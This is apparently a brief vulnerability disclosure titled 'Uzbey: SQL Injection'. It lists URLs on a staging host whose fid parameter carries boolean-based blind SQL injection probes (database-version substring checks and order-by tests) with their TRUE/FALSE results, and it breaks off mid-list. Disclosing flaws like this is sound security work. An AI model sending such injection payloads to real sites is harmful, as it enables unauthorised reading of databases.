Uzbey: SQL Injection

https://staging.uzbey.com/rotate-image?fid=2841+and+substringversion,1,1=4 FALSE https://staging.uzbey.com/rotate-image?fid=2841+and+substringversion,1,1=5 TRUE https://staging.uzbey.com/rotate-image?fid=2841+and+1=1+order+by+1-- TRUE...